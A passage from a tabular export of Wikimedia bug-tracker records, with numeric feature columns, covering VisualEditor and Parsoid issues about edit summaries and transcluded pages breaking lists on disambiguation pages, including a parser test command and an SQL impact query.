**Severity**: enhancement",Needs Triage,90.0,1373479140,1373480869.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-bypr3rbgyguddodinker,task_description,resolved,True,c1,3,False,False,True,1,,1.0,0.0,0.0,3.0,1.0,5.0,3.0,0.0,0.0,1.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,3.0,4.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,12.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,5.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,9.0,0.0,1.0,3.0,0.0,5.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,3.96,0.72,"Some users add [[links]] to edit summaries, which can be really helpful; unfortunately as markup it needs checking to ensure that it isn't borked. Accordingly, would it be possible to render the edit summary in the 'review changes' pane, if one has been provided?

--------------------------
**Version**: unspecified
**Severity**: enhancement"
254543,"VisualEditor: Review changes should show the edit summary, if one has been provided.","(In reply to comment #1)
> I think this duplicates bug 42139

Yeah; merging.

*** This bug has been marked as a duplicate of bug 42139 ***",,,1373480869,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bypr3rbgyguddodinker,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,2.757575757575758,0.7878787878787878,"(In reply to comment #1)
QUOTE

Yeah; merging.

*** This bug has been marked as a duplicate of bug 42139 ***"
254537,"VisualEditor: Review changes should show the edit summary, if one has been provided.",I think this duplicates bug 42139,,,1373479854,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-bypr3rbgyguddodinker,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,I think this duplicates bug 42139
53119,Transcluded pages quasi-template eats into subsequent entry,"De.WP often uses ""{{:Target page}} in its disambiguation pages and VE produces two problems: 1) The subsequent non-template disambiguation entry in the list gets sucked into the content of the previous template-entry; 2) the template blocks the option to edit the entries surrounding it. See:

http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=563687401#Transcluded_pages

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373474880,1417482772.0,PHID-USER-wswkm7jrcwes3tc7o34k,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_description,duplicate,True,c1,3,False,False,False,1,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,11.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,2.0,6.0,5.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,3.9156626506024095,0.6626506024096386,"De.WP often uses ""{{:Target page}} in its disambiguation pages and VE produces two problems: 1) The subsequent non-template disambiguation entry in the list gets sucked into the content of the previous template-entry; 2) the template blocks the option to edit the entries surrounding it. See:

URL

--------------------------
**Version**: unspecified
**Severity**: normal"
254294,Transcluded pages quasi-template eats into subsequent entry,Opened Parsoid bug 53368 for the issues described in comment #12 above.,,,1377549211,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Opened Parsoid bug 53368 for the issues described in comment #12 above.
254289,Transcluded pages quasi-template eats into subsequent entry,"A deeper investigation revealed additional issues:

1) Completely templated list items currently always break up lists in Parsoid. Test case: echo -ne '*foo\n{{:User:GWicke/li|bar}}\n*baz' | node parse

2) This covers up another bug in the template encapsulation code. Template-affected lists are only marked as such because the list handler starts a new list for each templated list item. This (correctly) places the meta element we use to track template-affected content outside the <ul> triggered by the template-generated list item. Once 1) is fixed, we will have to fix this up with a special rule in the encapsulation code that marks the parent list as template-affected if one of its wikitext-syntax items is template-generated. The meta element will end up between list items, so a propagation rule should be sufficient.

None of this will do much for the ease of editing. I realize that fixing up a lot of pages to use explicit bullets in the page will create a lot of work for bots, but at the same time I don't see a sane alternative that provides a good editing experience.",,,1377219256,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,True,,,7,,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,5.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,2.0,1.0,0.0,0.3333333333333333,0.0,1.6666666666666667,0.0,2.3333333333333335,12.0,0.3333333333333333,1.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,1.6666666666666667,0.0,4.333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,2.3333333333333335,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,18.0,1.6666666666666667,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,7.333333333333333,1.3333333333333333,4.666666666666667,1.6666666666666667,0.3333333333333333,9.333333333333334,0.0,0.0,0.0,0.0,4.0,0.3333333333333333,1.3333333333333333,0.0,2.3333333333333335,12.0,1.6666666666666667,0.0,0.6666666666666666,0.0,2.3333333333333335,0.0,0.6666666666666666,3.3333333333333335,0.0,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,4.074474474474475,0.7531531531531531,"A deeper investigation revealed additional issues:

1) Completely templated list items currently always break up lists in Parsoid. Test case: echo -ne '*foo\n{{:User:GWicke/li|bar}}\n*baz' | node parse

2) This covers up another bug in the template encapsulation code. Template-affected lists are only marked as such because the list handler starts a new list for each templated list item. This (correctly) places the meta element we use to track template-affected content outside the <ul> triggered by the template-generated list item. Once 1) is fixed, we will have to fix this up with a special rule in the encapsulation code that marks the parent list as template-affected if one of its wikitext-syntax items is template-generated. The meta element will end up between list items, so a propagation rule should be sufficient.

None of this will do much for the ease of editing. I realize that fixing up a lot of pages to use explicit bullets in the page will create a lot of work for bots, but at the same time I don't see a sane alternative that provides a good editing experience."
254285,Transcluded pages quasi-template eats into subsequent entry,"(In reply to comment #8)
> That said, there is a possibility that for lists, this problem is solvable by
> marking a series of adjacent list nodes as template generated -- Parsoid
> already has the mechanism of marking a forest of adjacent DOM nodes as
> template-generated instead of marking just a root-node. 

The problem is that the list is also template-affected, and needs to be marked as such. A change in transclusion output (say, from *foo to #foo) will change the list structure significantly, so it is not safe to mark the list items only.

The example page exposes a different issue though, which you mention as well: The comments between transclusions (which probably end up on their own line after expansion) break up the list in Parsoid, but don't do so in PHP (bug 52762). This is not surprising as the PHP parser strips those comments before doing anything else, but still something we could improve by not breaking up the list.

Sadly, the effect of this will be that the entire list will be template-affected.

This problem would not be there if the bullet for the list item was not templated:

* {{:Christian Delius}}
* [[Christina Rau]], geb. Delius (* 1956), deutsche Politologin

In this case we know that the first list item will always create an unordered list, no matter what the transclusion generates (ignoring unbalanced transclusions for now). Each item will be editable separately without being sucked into a big template-affected block.",,,1377216081,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,True,,,7,,0.3333333333333333,0.6666666666666666,0.0,1.0,2.0,4.0,2.0,0.0,0.3333333333333333,0.3333333333333333,2.6666666666666665,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,8.0,10.333333333333334,0.6666666666666666,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,2.0,0.0,4.333333333333333,0.3333333333333333,0.3333333333333333,2.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,2.3333333333333335,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,13.0,0.6666666666666666,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,6.666666666666667,3.6666666666666665,8.0,1.3333333333333333,1.3333333333333333,9.333333333333334,0.0,0.0,0.0,0.6666666666666666,3.6666666666666665,0.3333333333333333,1.3333333333333333,0.0,1.6666666666666667,10.333333333333334,4.0,0.0,0.0,0.0,1.6666666666666667,0.0,1.0,1.3333333333333333,0.0,1.0,0.0,0.0,1.0,3.8409090909090913,0.7121212121212123,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE
QUOTE

The problem is that the list is also template-affected, and needs to be marked as such. A change in transclusion output (say, from *foo to #foo) will change the list structure significantly, so it is not safe to mark the list items only.

The example page exposes a different issue though, which you mention as well: The comments between transclusions (which probably end up on their own line after expansion) break up the list in Parsoid, but don't do so in PHP (bug 52762). This is not surprising as the PHP parser strips those comments before doing anything else, but still something we could improve by not breaking up the list.

Sadly, the effect of this will be that the entire list will be template-affected.

This problem would not be there if the bullet for the list item was not templated:

* {{:Christian Delius}}
* [[Christina Rau]], geb. Delius (* 1956), deutsche Politologin

In this case we know that the first list item will always create an unordered list, no matter what the transclusion generates (ignoring unbalanced transclusions for now). Each item will be editable separately without being sucked into a big template-affected block."
254282,Transcluded pages quasi-template eats into subsequent entry,"I personally am not going to apply that metric to this page -- for example, table tags cannot be edited in VE, extension source cannot be edited in VE, and wikitext that shows up in between multi-part templates cannot be edited in VE.  I think this particular issue falls in the same category.

I do agree that the experience is sub-optimal.  But given that it does not break wikitext, I mean no disrespect to your opinion, but I disagree with you that we ought to therefore make the entire page uneditable.  As to your suggestion of providing a generic warning for uneditable pieces in VE, I'll James address that part.

But, as I noted above, at least for dab pages using list items, this problem might be solvable if we can figure out why transclusions are splitting existing lists at the transclusion point.",,,1376663796,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,1.5,2.5,7.5,1.0,0.0,0.0,0.5,5.5,0.5,0.0,0.0,0.0,5.0,0.0,5.0,15.0,0.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,2.5,0.5,0.5,5.5,2.0,0.5,1.0,2.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,2.5,0.0,0.5,0.0,0.5,0.5,13.5,0.0,4.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.5,0.5,0.5,0.0,0.5,0.0,3.0,3.5,8.0,3.0,2.0,6.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,7.5,15.0,2.5,0.0,0.0,0.0,7.5,0.0,1.0,0.5,0.0,3.0,0.0,0.5,0.0,3.92530779753762,0.7080711354309166,"I personally am not going to apply that metric to this page -- for example, table tags cannot be edited in VE, extension source cannot be edited in VE, and wikitext that shows up in between multi-part templates cannot be edited in VE.  I think this particular issue falls in the same category.

I do agree that the experience is sub-optimal.  But given that it does not break wikitext, I mean no disrespect to your opinion, but I disagree with you that we ought to therefore make the entire page uneditable.  As to your suggestion of providing a generic warning for uneditable pieces in VE, I'll James address that part.

But, as I noted above, at least for dab pages using list items, this problem might be solvable if we can figure out why transclusions are splitting existing lists at the transclusion point."
254278,Transcluded pages quasi-template eats into subsequent entry,"Please read the bug report and reproduce. The current behaviour is sub-optimal. Perhaps its not a high priority as it doesnt break the wiki-text, but that doesn't mean it isnt contrary to user expectations.
Text on the page (in the wiki text) should be editable on the page. If the VE cant edit all the wikitext on the page, the page is not yet functional in VE, and only SE should be offered to the user (or VE should tell the user to use SE to edit those bits).",,,1376663213,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,False,,,6,,1.0,0.0,0.0,1.0,2.0,5.5,2.0,0.0,0.0,1.0,2.0,0.5,0.0,1.0,0.0,0.0,0.0,6.0,8.5,0.0,2.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,11.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,9.5,3.5,7.5,1.0,3.0,11.5,0.0,0.0,0.0,0.0,7.5,0.5,0.0,0.0,1.5,8.5,4.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.418181818181818,0.6909090909090909,"Please read the bug report and reproduce. The current behaviour is sub-optimal. Perhaps its not a high priority as it doesnt break the wiki-text, but that doesn't mean it isnt contrary to user expectations.
Text on the page (in the wiki text) should be editable on the page. If the VE cant edit all the wikitext on the page, the page is not yet functional in VE, and only SE should be offered to the user (or VE should tell the user to use SE to edit those bits)."
254274,Transcluded pages quasi-template eats into subsequent entry,"That said, there is a possibility that for lists, this problem is solvable by marking a series of adjacent list nodes as template generated -- Parsoid already has the mechanism of marking a forest of adjacent DOM nodes as template-generated instead of marking just a root-node.  I suspect the reason this is not already happening is because of an (un)related list parsing bug.  Bug 49974, now merged into Bug 52762.  Once that is resolved, this problem will be fixed for the specific example pages on this page.  And as long as most of the disambiguation pages use this pattern (list items), it should be okay for them.",,,1376662900,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,1.5,0.5,4.0,2.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.5,0.5,0.0,5.5,10.5,0.0,0.0,1.0,1.0,0.5,1.5,0.0,0.0,0.0,0.0,1.0,1.0,4.5,1.0,1.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.5,1.5,0.0,1.5,0.0,0.0,0.0,15.5,2.0,3.5,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,5.5,4.5,5.0,1.5,1.0,10.0,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,2.0,10.5,1.5,0.0,0.0,0.0,2.0,0.0,0.0,3.0,1.0,3.0,0.0,1.0,0.0,4.0078125,0.6953125,"That said, there is a possibility that for lists, this problem is solvable by marking a series of adjacent list nodes as template generated -- Parsoid already has the mechanism of marking a forest of adjacent DOM nodes as template-generated instead of marking just a root-node.  I suspect the reason this is not already happening is because of an (un)related list parsing bug.  Bug 49974, now merged into Bug 52762.  Once that is resolved, this problem will be fixed for the specific example pages on this page.  And as long as most of the disambiguation pages use this pattern (list items), it should be okay for them."
254268,Transcluded pages quasi-template eats into subsequent entry,"(In reply to comment #5)
> The bug still exists. VE should handle this differently: mark the whole page
> as
> not compatible with VE if you must.

John: can you clarify what could be done here? 

As far as I can tell, there is no broken HTML, and neither is there any corruption on edit and save. The only problem is that top-level page content is sucked into transclusion content and is not editable. In the current scenario, at least some part of the page is editable in VE. How would marking the whole page not editable solve this issue?",,,1376661657,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,True,,,6,,2.0,0.0,0.0,2.0,2.0,9.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,2.0,1.0,0.0,6.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,7.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,14.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,12.0,1.0,3.0,10.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,2.0,9.0,4.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,3.61,0.72,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE

John: can you clarify what could be done here? 

As far as I can tell, there is no broken HTML, and neither is there any corruption on edit and save. The only problem is that top-level page content is sucked into transclusion content and is not editable. In the current scenario, at least some part of the page is editable in VE. How would marking the whole page not editable solve this issue?"
254263,Transcluded pages quasi-template eats into subsequent entry,*** Bug 52814 has been marked as a duplicate of this bug. ***,,,1376639350,,PHID-USER-3uecblbxq24ycewm2cog,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52814 has been marked as a duplicate of this bug. ***
254258,Transcluded pages quasi-template eats into subsequent entry,The bug still exists. VE should handle this differently: mark the whole page as not compatible with VE if you must.,,,1376620889,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,12.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9583333333333335,0.9166666666666666,The bug still exists. VE should handle this differently: mark the whole page as not compatible with VE if you must.
254253,Transcluded pages quasi-template eats into subsequent entry,"As James indicates in https://bugzilla.wikimedia.org/show_bug.cgi?id=51119#c2, there is really not much we can do about this. The implicit <ul> is started by a template, so the entire list needs to be marked as template-affected even if some items in it are not templated.

Since I don't see a good way to improve this situation in Parsoid, I'm going to close this bug as wontfix for now. Please reopen this bug if you have an idea on how this could be handled better.",,,1376618254,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,True,,,6,,2.0,0.0,0.0,4.0,3.0,4.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,1.0,3.0,0.0,9.0,18.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,11.0,2.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,5.0,0.0,12.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,5.0,18.0,4.0,0.0,0.0,0.0,5.0,0.0,1.0,3.0,0.0,1.0,1.0,0.0,1.0,3.574468085106383,0.7659574468085106,"As James indicates in URL there is really not much we can do about this. The implicit <ul> is started by a template, so the entire list needs to be marked as template-affected even if some items in it are not templated.

Since I don't see a good way to improve this situation in Parsoid, I'm going to close this bug as wontfix for now. Please reopen this bug if you have an idea on how this could be handled better."
463290,Transcluded pages quasi-template eats into subsequent entry,"This is not really a problem that affects enwp.  If my SQL is right, enwp has only 14 dab pages that transclude mainspace - easily a manual fixup task, esp. when some look of them look like this: https://en.wikipedia.org/wiki/Howes?veaction=edit

Some impact analysis for the next set of wikis in line for VE deployment:

* dewp: 22226 content pages transcluding mainspace - i.e. 1.4% of all 'content pages', of which 9012 are dab pages - i.e. 0.5% of all content pages
  - not all of those suffer from the second issue raised; sometimes they have whitespace between transclusion and the next item
  --  e.g. https://de.wikipedia.org/wiki/Kalam?veaction=edit
* frwp,hewp,nlwp: between 1&4 pages transcluding mainspace
* svwp: 250, all dab pages
* ruwp: 1616, all dab pages - i.e. 0.15% of all content pages

Looking at a Russian example; it doesnt face the second problem raised in comment 1; the last item on this dab page is not consumed by the {{:Lloyd's}} above it.
https://ru.wikipedia.org/wiki/%D0%9B%D0%BB%D0%BE%D0%B9%D0%B4?veaction=edit
https://ru.wikipedia.org/wiki/Lloyd%E2%80%99s

ruwp uses noinclude instead of onlyinclude.

My SLQ on dewp:
```
select count(*)
from   templatelinks tl inner join page p on (tl.tl_from = p.page_id)
where  tl_namespace = 0
and    page_namespace = 0
and    tl_from in 
  (select cl_from from categorylinks where cl_to =  'Begriffsklärung')
;
```",,,1432542616,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,False,,,99,,2.6666666666666665,0.0,0.0,0.3333333333333333,1.0,3.6666666666666665,0.3333333333333333,0.0,0.0,0.3333333333333333,2.6666666666666665,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,4.666666666666667,8.333333333333334,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,4.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,17.333333333333332,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,3.3333333333333335,1.3333333333333333,6.0,0.6666666666666666,0.3333333333333333,8.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,3.6666666666666665,0.0,2.3333333333333335,8.333333333333334,4.333333333333333,0.0,0.6666666666666666,0.0,2.3333333333333335,0.0,1.3333333333333333,1.0,0.3333333333333333,1.0,0.0,0.0,1.0,3.509649122807018,0.7269005847953216,"This is not really a problem that affects enwp.  If my SQL is right, enwp has only 14 dab pages that transclude mainspace - easily a manual fixup task, esp. when some look of them look like this: URL

Some impact analysis for the next set of wikis in line for VE deployment:

* dewp: 22226 content pages transcluding mainspace - i.e. 1.4% of all 'content pages', of which 9012 are dab pages - i.e. 0.5% of all content pages
  - not all of those suffer from the second issue raised; sometimes they have whitespace between transclusion and the next item
  --  e.g. URL
* frwp,hewp,nlwp: between 1&4 pages transcluding mainspace
* svwp: 250, all dab pages
* ruwp: 1616, all dab pages - i.e. 0.15% of all content pages

Looking at a Russian example; it doesnt face the second problem raised in comment 1; the last item on this dab page is not consumed by the {{:Lloyd's}} above it.
URL
URL

ruwp uses noinclude instead of onlyinclude.

My SLQ on dewp:
``CODE``"
463286,Transcluded pages quasi-template eats into subsequent entry,"This is not really a problem that affects enwp.  If my SQL is right, enwp has only 14 dab pages that transclude mainspace - easily a manual fixup task, esp. when some look of them look like this:
   e.g. https://en.wikipedia.org/wiki/Howes?veaction=edit

Some impact analysis for the next set of wikis in line for VE deployment:

* dewp: 22226 content pages transcluding mainspace - i.e. 1.4% of all 'content pages', of which 9012 are dab pages - i.e. 0.5% of all content pages
  - not all of those suffer from the second issue raised; sometimes they have whitespace between transclusion and the next item
  --  e.g. https://de.wikipedia.org/wiki/Kalam?veaction=edit
* frwp,hewp,nlwp: between 1&4 pages transcluding mainspace
* svwp: 250, all dab pages
* ruwp: 1616, all dab pages - i.e. 0.15% of all content pages

Looking at a Russian example; it doesnt face the second problem raised in comment 1; the last item on this dab page is not consumed by the {{:Lloyd's}} above it.
https://ru.wikipedia.org/wiki/%D0%9B%D0%BB%D0%BE%D0%B9%D0%B4?veaction=edit
https://ru.wikipedia.org/wiki/Lloyd%E2%80%99s

ruwp uses noinclude instead of onlyinclude.

My SLQ on dewp:
```
select count(*)
from   templatelinks tl inner join page p on (tl.tl_from = p.page_id)
where  tl_namespace = 0
and    page_namespace = 0
and    tl_from in 
  (select cl_from from categorylinks where cl_to =  'Begriffsklärung')
;
```",,,1432542425,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,False,,,99,,3.0,0.0,0.0,0.3333333333333333,1.0,3.6666666666666665,0.3333333333333333,0.0,0.0,0.3333333333333333,3.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,5.0,8.333333333333334,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,4.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,17.333333333333332,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,3.3333333333333335,1.3333333333333333,6.0,0.6666666666666666,0.3333333333333333,8.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,3.6666666666666665,0.0,2.3333333333333335,8.333333333333334,4.333333333333333,0.0,0.6666666666666666,0.0,2.3333333333333335,0.0,1.3333333333333333,1.0,0.3333333333333333,1.0,0.0,0.0,1.0,3.514297106402369,0.7245955798587378,"This is not really a problem that affects enwp.  If my SQL is right, enwp has only 14 dab pages that transclude mainspace - easily a manual fixup task, esp. when some look of them look like this:
   e.g. URL

Some impact analysis for the next set of wikis in line for VE deployment:

* dewp: 22226 content pages transcluding mainspace - i.e. 1.4% of all 'content pages', of which 9012 are dab pages - i.e. 0.5% of all content pages
  - not all of those suffer from the second issue raised; sometimes they have whitespace between transclusion and the next item
  --  e.g. URL
* frwp,hewp,nlwp: between 1&4 pages transcluding mainspace
* svwp: 250, all dab pages
* ruwp: 1616, all dab pages - i.e. 0.15% of all content pages

